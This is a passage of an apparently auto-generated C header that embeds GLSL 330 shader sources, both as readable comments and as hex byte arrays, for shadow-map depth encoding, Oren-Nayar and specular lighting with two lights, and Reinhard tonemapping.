0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,
0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2c,0x20,
0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x29,0x20,0x2a,0x20,0x76,0x65,0x63,0x34,0x28,
0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x3d,0x20,0x67,0x6c,
0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x7a,0x77,0x3b,0x0a,0x7d,0x0a,
0x0a,0x00,
};
/*
#version 330
in vec2 projZW;
layout(location = 0) out vec4 fragColor;
vec4 encodeDepth(float v)
{
vec4 _25 = fract(vec4(1.0, 255.0, 65025.0, 16581375.0) * v);
return _25 - (_25.yzww * vec4(0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0));
}
void main()
{
float param = projZW.x / projZW.y;
fragColor = encodeDepth(param);
}
*/
static const char fs_shadow_map_source_glsl330[407] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x33,0x30,0x0a,0x0a,0x69,0x6e,
0x20,0x76,0x65,0x63,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x3b,0x0a,0x6c,0x61,
0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,
0x30,0x29,0x20,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x72,0x61,0x67,
0x43,0x6f,0x6c,0x6f,0x72,0x3b,0x0a,0x0a,0x76,0x65,0x63,0x34,0x20,0x65,0x6e,0x63,
0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x66,0x6c,0x6f,0x61,0x74,0x20,0x76,
0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,0x32,0x35,
0x20,0x3d,0x20,0x66,0x72,0x61,0x63,0x74,0x28,0x76,0x65,0x63,0x34,0x28,0x31,0x2e,
0x30,0x2c,0x20,0x32,0x35,0x35,0x2e,0x30,0x2c,0x20,0x36,0x35,0x30,0x32,0x35,0x2e,
0x30,0x2c,0x20,0x31,0x36,0x35,0x38,0x31,0x33,0x37,0x35,0x2e,0x30,0x29,0x20,0x2a,
0x20,0x76,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,
0x5f,0x32,0x35,0x20,0x2d,0x20,0x28,0x5f,0x32,0x35,0x2e,0x79,0x7a,0x77,0x77,0x20,
0x2a,0x20,0x76,0x65,0x63,0x34,0x28,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,
0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,
0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,0x39,
0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,
0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,
0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,
0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,
0x30,0x2e,0x30,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,
0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,
0x2e,0x78,0x20,0x2f,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x79,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x65,
0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,
0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 330
uniform vec4 vs_params[16];
out vec3 vNormal;
layout(location = 0) in vec3 aPosition;
out vec3 vFragPos;
out vec2 vTexCoord;
layout(location = 2) in vec2 aTexCoord;
out vec4 vColorMult;
layout(location = 3) in vec4 aColorMult;
out vec4 vColorOffset;
layout(location = 4) in vec4 aColorOffset;
out vec4 v_shadow_pos;
layout(location = 1) in vec3 aNormal;
void main()
{
vec4 _29 = vec4(aPosition, 1.0);
vNormal = vec3(normalize(mat4(vs_params[8], vs_params[9], vs_params[10], vs_params[11]) * _29).xyz);
mat4 _39 = mat4(vs_params[4], vs_params[5], vs_params[6], vs_params[7]);
vFragPos = mat3(_39[0].xyz, _39[1].xyz, _39[2].xyz) * aPosition;
vTexCoord = aTexCoord;
vColorMult = aColorMult;
vColorOffset = aColorOffset;
v_shadow_pos = mat4(vs_params[12], vs_params[13], vs_params[14], vs_params[15]) * _29;
gl_Position = mat4(vs_params[0], vs_params[1], vs_params[2], vs_params[3]) * _29;
}
*/
static const char vs_source_glsl330[941] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x33,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x31,0x36,0x5d,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,
0x63,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x6c,0x61,0x79,0x6f,
0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,
0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,
0x6f,0x6e,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x46,0x72,
0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x32,0x20,
0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,
0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x32,0x29,0x20,
0x69,0x6e,0x20,0x76,0x65,0x63,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,
0x64,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,
0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x33,0x29,0x20,0x69,0x6e,0x20,
0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,
0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,
0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,
0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x34,0x29,0x20,0x69,0x6e,0x20,
0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,
0x74,0x3b,0x0a,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,
0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x31,0x29,0x20,0x69,
0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,
0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,
0x20,0x20,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,0x32,0x39,0x20,0x3d,0x20,0x76,0x65,
0x63,0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,
0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,
0x3d,0x20,0x76,0x65,0x63,0x33,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,
0x28,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x38,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x39,0x5d,
0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x30,0x5d,0x2c,
0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x31,0x5d,0x29,0x20,
0x2a,0x20,0x5f,0x32,0x39,0x29,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x6d,0x61,0x74,0x34,0x20,0x5f,0x33,0x39,0x20,0x3d,0x20,0x6d,0x61,0x74,0x34,
0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,0x2c,0x20,0x76,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x35,0x5d,0x2c,0x20,0x76,0x73,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x36,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x37,0x5d,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x46,
0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,0x6d,0x61,0x74,0x33,0x28,0x5f,0x33,
0x39,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x33,0x39,0x5b,0x31,0x5d,
0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x33,0x39,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,
0x29,0x20,0x2a,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x61,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x43,
0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,0x61,0x43,0x6f,0x6c,0x6f,
0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x43,0x6f,0x6c,0x6f,
0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,
0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,0x6d,0x61,0x74,0x34,0x28,
0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x32,0x5d,0x2c,0x20,0x76,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x33,0x5d,0x2c,0x20,0x76,0x73,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x34,0x5d,0x2c,0x20,0x76,0x73,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x35,0x5d,0x29,0x20,0x2a,0x20,0x5f,0x32,
0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,
0x6f,0x6e,0x20,0x3d,0x20,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x32,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,
0x29,0x20,0x2a,0x20,0x5f,0x32,0x39,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 330
uniform vec4 material_params[5];
uniform vec4 fs_params[3];
uniform vec4 light_params[4];
uniform vec4 light2_params[4];
uniform sampler2D u_image_shadow_map;
uniform sampler2D uImage0;
in vec4 v_shadow_pos;
in vec3 vNormal;
in vec3 vFragPos;
in vec2 vTexCoord;
in vec4 vColorMult;
layout(location = 0) out vec4 frag_color;
in vec4 vColorOffset;
float oren_nayar_diffuse(vec3 light_direction, vec3 view_direction, vec3 surface_normal, float roughness, float albedo)
{
float _214 = dot(light_direction, surface_normal);
float _218 = dot(surface_normal, view_direction);
float _224 = dot(light_direction, view_direction) - (_214 * _218);
float _235 = roughness * roughness;
return ((albedo * max(0.0, _214)) * ((1.0 + (_235 * ((albedo / (_235 + 0.12999999523162841796875)) + (0.5 / (_235 + 0.3300000131130218505859375))))) + ((((0.449999988079071044921875 * _235) / (_235 + 0.0900000035762786865234375)) * _224) / mix(1.0, max(_214, _218), step(0.0, _224))))) * 0.3183098733425140380859375;
}
float lambert_diffuse(vec3 light_direction, vec3 normal)
{
return dot(normal, light_direction);
}
float decodeDepth(vec4 rgba)
{
return dot(rgba, vec4(1.0, 0.0039215688593685626983642578125, 1.5378700481960549950599670410156e-05, 6.0308629201699659461155533790588e-08));
}
float calc_shadow(float cos_theta)
{
vec3 _169 = v_shadow_pos.xyz / vec3(v_shadow_pos.w);
vec4 param = texture(u_image_shadow_map, (_169.xy * 0.5) + vec2(0.5));
return step(decodeDepth(param), _169.z - (0.5 * clamp(0.004999999888241291046142578125 * tan(acos(cos_theta)), 0.0, 0.00999999977648258209228515625)));
}
float calc_spec(vec3 light_dir, vec3 view_dir, vec3 normal)
{
return ((8.0 + material_params[3].w) * 0.0397887341678142547607421875) * pow(max(dot(normal, normalize(light_dir + view_dir)), 0.0), material_params[3].w);
}
float attenuation_point(vec3 distance_by_radius, float falloff)
{
return pow(1.0 - min(1.0, length(distance_by_radius)), 2.0 * falloff);
}
float luminance(vec3 linear)
{
return dot(linear, vec3(0.2125999927520751953125, 0.715200006961822509765625, 0.072200000286102294921875));
}
vec3 linear_to_gamma(vec3 x)
{
return pow(x, vec3(0.4545454680919647216796875));
}
vec3 tonemap_reinhard(vec3 x)
{
vec3 param = x;
vec3 param_1 = x / vec3(1.0 + luminance(param));
return linear_to_gamma(param_1);
}
void main()
{
vec3 _283 = normalize(vNormal);
vec3 _295 = normalize(fs_params[2].xyz - vFragPos);
vec3 total = material_params[3].xyz;
vec4 _306 = texture(uImage0, vTexCoord);
vec4 _309 = _306 * vColorMult;
vec3 _319 = vec3(_309.xyz) * material_params[1].xyz;
vec3 param = light_params[0].xyz;
vec3 param_1 = _295;
vec3 param_2 = _283;
float param_3 = 0.5;
float param_4 = 1.0;
float _334 = oren_nayar_diffuse(param, param_1, param_2, param_3, param_4);
total += (material_params[0].xyz * light_params[1].xyz);
if (_334 > 0.0)
{
vec3 param_5 = light_params[0].xyz;
vec3 param_6 = _283;
vec3 param_7 = light_params[0].xyz;
vec3 param_8 = _295;
vec3 param_9 = _283;
total += ((((material_params[2].xyz * light_params[3].xyz) * calc_spec(param_7, param_8, param_9)) + ((_319 * light_params[2].xyz) * _334)) * (1.0 - calc_shadow(clamp(lambert_diffuse(param_5, param_6), 0.0, 1.0))));
}
vec3 _386 = light2_params[0].xyz - vFragPos;
vec3 _394 = _386 / vec3(length(_386));
vec3 param_10 = _394;
vec3 param_11 = _295;
vec3 param_12 = _283;
float param_13 = 0.5;
float param_14 = 1.0;
float _404 = oren_nayar_diffuse(param_10, param_11, param_12, param_13, param_14);
total += (material_params[0].xyz * light2_params[1].xyz);
if (_404 > 0.0)
{
vec3 param_15 = _386 / vec3(light2_params[0].w);
float param_16 = light2_params[1].w;
float _426 = attenuation_point(param_15, param_16);
if (_426 > 0.0)
{
vec3 param_17 = _394;
vec3 param_18 = _295;
vec3 param_19 = _283;
total += ((((material_params[2].xyz * light2_params[3].xyz) * calc_spec(param_17, param_18, param_19)) + ((_319 * light2_params[2].xyz) * _404)) * _426);
}
}
vec3 _457 = tonemap_reinhard(total);
total = _457;
frag_color = vec4(_457, _309.w);
}
*/
static const char fs_source_glsl330[4358] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x33,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x6d,0x61,0x74,0x65,0x72,
0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x35,0x5d,0x3b,0x0a,0x75,
0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x73,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,
0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,
0x76,0x65,0x63,0x34,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x73,
0x61,0x6d,0x70,0x6c,0x65,0x72,0x32,0x44,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x3b,0x0a,0x75,0x6e,0x69,
0x66,0x6f,0x72,0x6d,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x32,0x44,0x20,0x75,
0x49,0x6d,0x61,0x67,0x65,0x30,0x3b,0x0a,0x0a,0x69,0x6e,0x20,0x76,0x65,0x63,0x34,
0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,0x69,
0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,
0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,
0x3b,0x0a,0x69,0x6e,0x20,0x76,0x65,0x63,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x3b,0x0a,0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,
0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,
0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,0x20,0x6f,0x75,
0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,
0x72,0x3b,0x0a,0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,
0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,
0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,
0x73,0x65,0x28,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,
0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x69,
0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x76,0x65,
0x63,0x33,0x20,0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,
0x6c,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,
0x73,0x73,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x6c,0x62,0x65,0x64,0x6f,
0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,
0x31,0x34,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,
0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x73,0x75,0x72,0x66,0x61,0x63,
0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x31,0x38,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,
0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,
0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x32,0x34,0x20,
0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,
0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,
0x63,0x74,0x69,0x6f,0x6e,0x29,0x20,0x2d,0x20,0x28,0x5f,0x32,0x31,0x34,0x20,0x2a,
0x20,0x5f,0x32,0x31,0x38,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x20,0x5f,0x32,0x33,0x35,0x20,0x3d,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,
0x73,0x73,0x20,0x2a,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x61,0x6c,0x62,
0x65,0x64,0x6f,0x20,0x2a,0x20,0x6d,0x61,0x78,0x28,0x30,0x2e,0x30,0x2c,0x20,0x5f,
0x32,0x31,0x34,0x29,0x29,0x20,0x2a,0x20,0x28,0x28,0x31,0x2e,0x30,0x20,0x2b,0x20,
0x28,0x5f,0x32,0x33,0x35,0x20,0x2a,0x20,0x28,0x28,0x61,0x6c,0x62,0x65,0x64,0x6f,
0x20,0x2f,0x20,0x28,0x5f,0x32,0x33,0x35,0x20,0x2b,0x20,0x30,0x2e,0x31,0x32,0x39,
0x39,0x39,0x39,0x39,0x39,0x35,0x32,0x33,0x31,0x36,0x32,0x38,0x34,0x31,0x37,0x39,
0x36,0x38,0x37,0x35,0x29,0x29,0x20,0x2b,0x20,0x28,0x30,0x2e,0x35,0x20,0x2f,0x20,
0x28,0x5f,0x32,0x33,0x35,0x20,0x2b,0x20,0x30,0x2e,0x33,0x33,0x30,0x30,0x30,0x30,
0x30,0x31,0x33,0x31,0x31,0x33,0x30,0x32,0x31,0x38,0x35,0x30,0x35,0x38,0x35,0x39,
0x33,0x37,0x35,0x29,0x29,0x29,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x28,0x28,0x30,
0x2e,0x34,0x34,0x39,0x39,0x39,0x39,0x39,0x38,0x38,0x30,0x37,0x39,0x30,0x37,0x31,
0x30,0x34,0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x20,0x2a,0x20,0x5f,0x32,0x33,0x35,
0x29,0x20,0x2f,0x20,0x28,0x5f,0x32,0x33,0x35,0x20,0x2b,0x20,0x30,0x2e,0x30,0x39,
0x30,0x30,0x30,0x30,0x30,0x30,0x33,0x35,0x37,0x36,0x32,0x37,0x38,0x36,0x38,0x36,
0x35,0x32,0x33,0x34,0x33,0x37,0x35,0x29,0x29,0x20,0x2a,0x20,0x5f,0x32,0x32,0x34,
0x29,0x20,0x2f,0x20,0x6d,0x69,0x78,0x28,0x31,0x2e,0x30,0x2c,0x20,0x6d,0x61,0x78,
0x28,0x5f,0x32,0x31,0x34,0x2c,0x20,0x5f,0x32,0x31,0x38,0x29,0x2c,0x20,0x73,0x74,
0x65,0x70,0x28,0x30,0x2e,0x30,0x2c,0x20,0x5f,0x32,0x32,0x34,0x29,0x29,0x29,0x29,
0x29,0x20,0x2a,0x20,0x30,0x2e,0x33,0x31,0x38,0x33,0x30,0x39,0x38,0x37,0x33,0x33,
0x34,0x32,0x35,0x31,0x34,0x30,0x33,0x38,0x30,0x38,0x35,0x39,0x33,0x37,0x35,0x3b,
0x0a,0x7d,0x0a,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x61,0x6d,0x62,0x65,0x72,
0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x76,0x65,0x63,0x33,0x20,0x6c,
0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,
0x76,0x65,0x63,0x33,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x0a,0x7b,0x0a,0x20,
0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x6e,0x6f,
0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,
0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x76,0x65,0x63,
0x34,0x20,0x72,0x67,0x62,0x61,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x72,0x67,0x62,0x61,0x2c,0x20,0x76,
0x65,0x63,0x34,0x28,0x31,0x2e,0x30,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,
0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,
0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x31,0x2e,0x35,0x33,
0x37,0x38,0x37,0x30,0x30,0x34,0x38,0x31,0x39,0x36,0x30,0x35,0x34,0x39,0x39,0x35,
0x30,0x35,0x39,0x39,0x36,0x37,0x30,0x34,0x31,0x30,0x31,0x35,0x36,0x65,0x2d,0x30,
0x35,0x2c,0x20,0x36,0x2e,0x30,0x33,0x30,0x38,0x36,0x32,0x39,0x32,0x30,0x31,0x36,
0x39,0x39,0x36,0x35,0x39,0x34,0x36,0x31,0x31,0x35,0x35,0x35,0x33,0x33,0x37,0x39,
